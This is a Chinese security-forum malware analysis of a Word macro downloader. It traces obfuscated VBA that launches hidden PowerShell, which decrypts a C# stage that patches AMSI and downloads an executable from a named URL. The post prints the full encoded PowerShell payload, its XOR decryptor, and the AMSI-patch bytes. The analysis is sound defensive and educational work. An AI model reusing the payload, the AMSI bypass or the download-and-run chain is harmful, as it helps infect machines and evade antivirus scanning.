吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 25577|回复: 174
收起左侧

[PC样本分析] Word文档宏病毒样本分析

    [复制链接]
Loopher 发表于 2020-10-20 14:53
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 Loopher 于 2020-11-13 09:52 编辑

这是恶意样本分析的office类病毒分析入门篇,这篇笔记主要记录了如何分析Office类的宏病毒,包括如下

  • 调试VBA宏
  • 使用PowerShell ISE调试分析
  • 调试C#程序

在次之前曾逆向分析了一些.exe的病毒,但是在很多时候Office类的病毒也时常出现,介于自己对这类病毒的分析不是熟悉,因此在寻找相关内容博客和技术文档来参考练手。

新增: sample7.z 密码使用论坛默认解压密码。 注意样本不要在物理机内使用,请使用虚拟机打开,如果被感染或者其他自负

样本基本信息

在沙箱上可以看到这是一个Word样本

1

1

运行时会启动Powershell.exe csc.exe cvtre.exe这三个进程,如下

2

2

由此可以知道改程序会启动相关的脚本执行,在VT上查询该样本,被标记为Downloader
地址为:

https://www.virustotal.com/gui/file/a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5/detection

根据历史提交检测时间分析

image-20201019170641611.png

5

5
该样本目前仍有有部分杀软还不支持,看样子一些厂商还未捕获该样本,下面分析一下这个样本的功能之一下载器。

样本分析

将样本下载下来后,打开运行后如下提示需要开启宏功能,如下

6

6
这里很典型的Office类病毒的惯用手法,使用VBA宏来隐藏实际功能,这里进行调试分析VBA宏。

VBA宏功能分析

为了能调试分析该宏,我们不能直接点击Enable Content来启动宏,调试步骤如下

  • 按住shift键
  • 点击开启宏功能
  • 释放shift键
  • 按下alt+f11打开宏调试器
  • 调试宏功能
    打开宏调试器之后如下

    7

    7

    双击打开宏代码后如下

    8

    8

    很明显该程序被混淆了,将代码复制出来在网上格式化后得到如下程序

    9

    9

    同样代码依然被混淆了,这里直接调试在运行时获取结果。

调试VBA

首先在Docuement_Open函数的入口设置断点(直接点击侧边的位置即可),如下

10

10

11

11

然后点击运行按钮后如下(此时程序进入debug状态)

12

12
紧接着单步步入(F8)进入到函数Lethbridge(ByVal Garniture As String)内,可以看到该函数有一个参数,在入口的位置传入的值是
de9a2c49a42b6

13

13

从函数的声明可以知道该函数返回一个String值,继续单步进入后来到Lethbridge内之后,将变量窗口打开,在View-->Locals Windows如下

14

14

打开后就能观察到每个变量的值如下

15

15
经过调试分析后知道,Lethbridge函数是一个字符串解密函数,传入的参数应该是待解密的字符串值,第一次解密出的内容

Lethbridge : "winmgmts:\\.\root\cimv2:Win32_Process" : String

如下

16

16

这里主要是解密并获取一个WMI 的Win32_Process对象,这个对象在官网上的描述为

# https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-tasks--processes
可以通过这个对象来创建进程,获取进程信息等

继续往下调试分析
在获取Win32_Process字符串之后调用GetObject函数获取指定的对象并将获取的对象传入到调用函数SnottineSS内,该函数也会解密出一个字符串内容并通过
Win32_Process.Create函数启动一个进程,如下

17

17
继续往下分析后知道,第二次解密出来的内容是一个PowerShell脚本程序,如下

18

18

到了这的时候,此时程序已经解密了PowerShell程序,解密内容如下

"powershell -WindowStyle Hidden 
function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return "

手动格式化后如下

powershell -WindowStyle Hidden 

        function y171e {
        param($z4627)$k58be9='a57157c';
        $yce74a='';
        for ($i=0; $i -lt $z4627.length;$i+=2)
        {
        $vc2775=[convert]::ToByte($z4627.Substring($i,2),16);
        $yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);
        }
        return 

从第一条命令可以知道,改程序会在启动时将PowerShell窗口隐藏并执行后面的程序,这里启动powerShell ISE工具进行 调试,如下

19

19
这里为了能运行,使用如下命令调用,如下

function y171e

运行后程序报错,如下

20

20

这里是少了参数,脚本还不够完全应该在启动PowerShell后应该就能正常了,继续单步执行,继续往下不要再单步 步入(F8)

21

21

在继续单步调试后,观察到ProcessHacker内的进程列表出现了PowerShell

22

22

此时将PowerShell程序悬挂住不继续执行,直接在ProcessHacker内选中进程并右键,点击悬挂后即可。如果观察及时,可以看到csc.exe进程出现一次
观察此时的PowerShell进程后如下 点击进程后右键-->属性(Properties)->Command line

23

23
复制出来这个PowerShell脚本,如下

powershell -WindowStyle Hidden 
function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return $yce74a;}
$z24c573 = '14465e5f52173018464354580c16125c595615641a1241525c1b65160f415e5c50192a0f4152435a4730044741585652105a4044585b5043324c4445505a4d255c56565b5810155c54420e4210085b5011664e1015505a1f7c785814465e5f5217301846435458192d04410c3c3f471603595e5215540f004644114c5502530c0f024e6c270d597e5c455811151d155a50450d04590403171b260f41454865580a0f410a137252173147585274530713504442171e3e1140555d5c5443124156455c5443044d4354475943285b436141454317020008571f2a0f41674547171b59510404031b1015475e5f52171556575206061e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508152f0e54537d5c551100474e131c6a1314575b5856171015544358561706194152435b172a0f41674547170657030207510e4b124145585b50431b560154541e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508153508474344545b33135a435456434148684744575b0a0215444554430a021552494152110f15555e5a5b43090254040d014b285b43614145430c5156060d01574d607e5f41671713155c0302550050571b445c5917414d545554515158195844411716085b4311470f5703060e180e6c270d597e5c455811151d157a50450d045904031b530f0d171b745b4311186558585b435e4367435d7858150478525c5a451a43196454417b02124172434758115c53565d46524a3c464350415e0041504f4550450d41435858511706070056541d7e0d1565434315565a550d5209197e0d15654343155b5b03040554195e0d15155005560106480e4744575b0a0215444554430a02155e5f411700500c04531d1e18285b4361414543020756540753555c500107000107581d4e0002060649170701000f5755000f0057025051530755171e4a5a5c511956050204075307140a2a0f416745471939044758184e7e0d1565434315455a57060308060a1556020e531d545100500555031b1a500206541d155151000f0501025b570302050505530702000507025454060203040641481c0c58531f11580304050c04425c7c59456543114f6f52435a1e18347c5945654311415d55505405075c1d62785b433315471e040e420a0f41175a0c5450560c0a010e5e05495d0052000f5549470e0706035a52195f535456510519074901074f0e4043115e0e0052020e181c4c211841526a68170904045255084c531906061d054f05071907490c071e5a7c5945654311415b55020700025c785643465f020d1b765d59580029725b5e57560f49061e0a785611125d565d1b740c114c1f5b5006060519071d5b55505302561d061e5804530250501f0d044217785b433315471f430c0150550c041f61582a0f4101051d1e48514d070104554a4d5b55020700024d061e0a484a1e124145585b504312040f0253565e245b415847580d0c5059451b70061573585d515211315443591d720d175c455e5b5a060f41196245520008545b775a5b070447197045470f085656455c580d255443501c174841176b6d560e51540015111e171a500206541d155707000705530257431c0c5f50404336505572595e060f411f181b730c165b5b5e545325085952194c065450501f13050e5750010405040355515103520152565700010453020154030700050f57570100050602025502070704045750015204060354540d070905035756010300530255540d075401525754000f0504060251530552040155530254050600505703020205015555000f0654035251500355050357050005131c1b10500d0457541e583147585250441032415643417e0d075a174803540153085954421733135a5454464430155445457c59050e1d44000d0405001c0c614758000446441f66430213411f48035401531c0c43504316135b17010e4a1314575b585617101554435856171015475e5f52171a500206541d4417135c5956155a06590c0e051c4c1015475e5f52171b59510404030a4100000000000000430e4445475e0d06155207030255050c0a13170c050e471f585b43430808070a155e5f0c500f080c034d2d505956415f58081e0a031c4c011841521143005458570a725a59150447431f6158211841521958525b580c031f664201124145585b504b08190518190655480e5207030255050c1c0c1d540b00471e19430054585769490d535054036c195c185148104f09510456571b7b545b501709681e0a4845061540455f155255570001550c0c1e1c';
$z24c5732 = y171e($z24c573);
Add-Type -TypeDefinition $z24c5732;
[yba2983]::c193b();

可以看到程序调用了y171e,其中传入的值是$z24c573,从功能上来分析,这里应该是一个解密过程,紧接着调用
Add-Type -TypeDefinition 表明解密处理的内容是一个.Net的程序,这里是允许该程序加载.Net的框架库

# 参考
https://renenyffenegger.ch/notes/Windows/PowerShell/command-inventory/noun/type/add/index

接着就通过[yba2983]::c193b();来调用执行,这是通过PowerShell程序调用.Net程序的类进行加载执行的一个语法

# 参考
https://blog.adamfurmanek.pl/2016/03/19/executing-c-code-using-powershell-script/

PowerShell功能分析

这里调用PowerShell调试器将解密出的内容打印出来并进行分析,贴入代码到PowerShell ISE内,并设置断点在Add-Type的位置,同时在上一行打印$z24c5732的值,如下

24

24
此时运行该程序后输出如下内容

25

25

经过格式化之后得到如下程序

26

26

程序是被混淆了,阅读起来也比较费劲,因此选择进行调试解密出来的.Net程序

C#程序功能分析

Visual Studio 2015内新建一个C#控制台程序,并将解密出来的.Net代码拷贝到程序内,如下

27

27

首先程序会导出kernel32的API供给后续程序使用,如上图程序内的注释可以知道,分别导出了

         [DllImport("kernel32", EntryPoint = "GetProcAddress")] public static extern IntPtr v779b(IntPtr x8d356, string v7be73);// GetProcAddress
        [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr e6656d9(string zc6ea);//LoadLibrary_function
        [DllImport("kernel32", EntryPoint = "VirtualProtect")] public static extern bool h7c586(IntPtr mda7864, UIntPtr k27bc1b, uint xcdaf29, out uint r84b39); //VirtualProtect
        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void ef5ae(IntPtr a948e8, IntPtr l8b12e, int g4c6e); //RtlMoveMemory

接着先调用y171e函数执行字符串解密功能,这里会传入的字符串是待解密字符串,最后会返回解密的内容,如下是解密函数

28

28

解密过程就是遍历传入的字符串然后进行异或后返回最终结果,程序接着会进行一系列的判断然后分别调用GetProcAddress函数,这个API通常是用来获取指定的模块的导出函数的指针,由此猜到了第二个字符串解密应该是一个api的解密,紧跟着就判断获取的函数是否为空,如果不为空,就调用VirtualProtect函数修改对应的内存属性PAGE_EXECUTE_READWRITE = 0x40,之后调用Marshal函数分配内存并将

                                                Byte[] je1ed = {
                        0x31,
                        0xff,
                        0x90
                                                                                                };
    复制到导出的API函数内,这里就很奇怪,为什么会这么做?经过搜索后发现这里是用来**绕过AMSI的检测功能**

    ```shell
    # 什么是AMSI
    AMSI是微软的一个反病毒功能,全称为Antimalware Scan Interface (AMSI),用户可以将该功能集成到程序内可以防护用户数据以病毒的入侵。
    ```

29

29

    对应的代码片段

30

30

        ## 代码地址
        https://gist.github.com/TheWover/ad89ed9f402c7bdf1d0eda3cb99c458c

根据上面的POC代码知道,这里要对amsi.dll打补丁的函数是AmsiScanBuffer,病毒对应的代码如下

31

31

可以确定这个程序首先会对AMSI执行打补丁防止被扫描到。最后准备一个文件路径并调用WebClient函数执行文件下载和执行下载的文件。这里这个C#函数就是一个下载核心的文件并启动运行。

32

32

下面进入调试步骤,首先看到第一个解密出来的就是amsi.dll如下

33

33
接着是判断amsi.dll是否不为空,如果不为空则继续读取AmsiScanBuffer的指针,这里的amsi.dll是为空

34

34

接着准备待下载的文件路径,解密拼接后的值如下

35

35

"C:\\Users\\QWER\\AppData\\Roaming\\c9255.exe"

解密出URL的值,如下

36

36

"https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe"

下载保存的文件为

37

37

大小为0,应该是地址不能访问了,这里就不能启动这个核心的功能了。手动尝试访问这个地址发下挂了,应该是被曝光之后被关闭了。

38

38

将提取的url到微步上查询,微步被标记为了可疑状态,但是只有Google的检测出来

https://s.threatbook.cn/report/url/72d885d5b352c606949c65c8d6cf2691

39

39

在奇安信的威胁研判系统查询到这是一个远控病毒

https://ti.qianxin.com/v2/search?type=domain&value=cannabispropertybrokers.com

40

40

总结

这个病毒的运行需要开启宏才能执行,执行流程如下

41

41

这个病毒分析的难点还是在于调试VBA程序、powershell程序、C#这三个过程,在分析的过程中也能熟悉一些宏病毒的一些常规管用手法,一部分厂商不能查杀到可能是该病毒的动态打补丁了amsi.dll绕过了相关检测。

特征

样本特征

MD5: 9eafc9090d71b382af7c8c04e83d61d2

URL
https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe

参考

sample.7z

25.81 KB, 下载次数: 179, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 71吾爱币 +66 热心值 +61 收起 理由
xiaohanjss + 1 + 1 谢谢@Thanks!
xiaolee666 + 1 + 1 我很赞同!
anonymity1104 + 1 用心讨论,共获提升!
AsUWL + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
china-loong + 2 + 1 word.exe??
狗娃少将 + 1 用心讨论,共获提升!
ljj_1025 + 1 + 1 谢谢@Thanks!
onething + 1 + 1 热心回复!
十六Y + 1 + 1 用心讨论,共获提升!
n1gels + 1 + 1 用心讨论,共获提升!
tjw1203 + 1 + 1 谢谢@Thanks!
cefu + 1 + 1 热心回复!!
Tombl7 + 1 + 1 谢谢@Thanks!
4-SR + 1 + 1 热心回复!
lengz123 + 1 我很赞同!
DefeatGhosts + 1 + 1 我很赞同!
WAlitudealiy + 1 用心讨论,共获提升!
清华必修 + 1 + 1 热心回复!
Raurean + 1 + 1 我很赞同!
iMrZeng + 1 + 1 热心回复!
a2416b + 1 谢谢@Thanks!
sdwf + 1 用心讨论,共获提升!
wanglalaen + 1 用心讨论,共获提升!
霏映 + 1 热心回复!
天际浮云 + 1 + 1 我很赞同!
Jetset + 1 + 1 用心讨论,共获提升!
无言Y + 1 + 1 我很赞同!
零地带 + 1 + 1 用心讨论,共获提升!
sunxiansheng + 1 我很赞同!
teng641105050 + 1 用心讨论,共获提升!
lucky6666 + 1 + 1 我很赞同!
美丽的渗透者 + 1 用心讨论,共获提升!
jstt552200 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
QingZuo + 1 + 1 用心讨论,共获提升!
prontosil + 1 热心回复!
crazycannon + 1 + 1 用心讨论,共获提升!
直酱 + 1 + 1 太厉害了!!!膜拜orz
chw1999 + 1 用心讨论,共获提升!
Thefirst1 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Algorithms + 1 + 1 我很赞同!
抱歉、 + 1 用心讨论,共获提升!
poisonbcat + 1 + 1 谢谢@Thanks!
tzxinqing + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
potatomato + 1 + 1 用心讨论,共获提升!
Forbbiden + 1 + 1 用心讨论,共获提升!
wfik + 1 大神啊,感谢分享
lynxtang + 1 + 1 厉害厉害,学习了
帛青赤 + 1 + 1 我很赞同!
0615 + 1 + 1 谢谢@Thanks!
solymx + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
lemon__star + 1 + 1 我很赞同!
明明欣雨 + 1 + 1 厉害,学习了
837468220 + 1 + 1 用心讨论,共获提升!
twostudy + 1 + 1 我很赞同!
我居北海 + 1 + 1 厉害
独行风云 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
自强 + 1 + 1 谢谢@Thanks!
fengbolee + 1 + 1 用心讨论,共获提升!
zsq + 1 + 1 谢谢@Thanks!
azcolf + 1 + 1 用心讨论,共获提升!
窈窕君子 + 1 + 1 热心回复!
wuliwuli + 1 热心回复!
NanKeYM + 1 + 1 叹为观止啊,可以,学到了
feifanll + 1 + 1 我很赞同!
ZZU隔壁老吴 + 1 + 1 谢谢@Thanks!
bei133 + 1 + 1 谢谢@Thanks!
zhczf + 1 + 1 我很赞同!
zpy2 + 1 + 1 我很赞同!
昨夜星辰恰似你 + 1 + 1 用心讨论,共获提升!
罗科帷幕 + 1 + 1 用心讨论,共获提升!
luoxiao + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

DefeatGhosts 发表于 2020-11-19 10:27
约定的童话 发表于 2020-10-23 15:39
excel里面VBA代码混淆楼主有啥好建议没?

word和excel没区别,都是宏代码而已,混淆了就调试,看关键的字符串,宏代码里用的较多的例如COM对象,WMI等,找到这些相关的关键词,例如script shell createobject 等一类的关键词,然后直接下断执行到此处,就可以知道主要的目的是啥了。
JuncoJet 发表于 2020-10-20 15:21
Hmily 发表于 2020-10-20 15:27
深蓝海琼 发表于 2020-10-20 15:35
学习了,感谢
azusys 发表于 2020-10-20 15:52
图片挂了··
Moofans 发表于 2020-10-20 16:22
感谢分享,学习了!
 楼主| Loopher 发表于 2020-10-20 16:53
Hmily 发表于 2020-10-20 15:27
图片盗链了,上传论坛本地吧。

已经上传了,我自己能看到没问题,没想到其他人看不到
笨笨家的唯一 发表于 2020-10-20 18:14
不明觉厉,大佬666
昨夜星辰恰似你 发表于 2020-10-20 19:04
ti.qianxin.com  沙箱是奇安信的哦
 楼主| Loopher 发表于 2020-10-20 20:54
昨夜星辰恰似你 发表于 2020-10-20 19:04
ti.qianxin.com  沙箱是奇安信的哦

嘿嘿,弄错了,改一下,
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 10:53

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表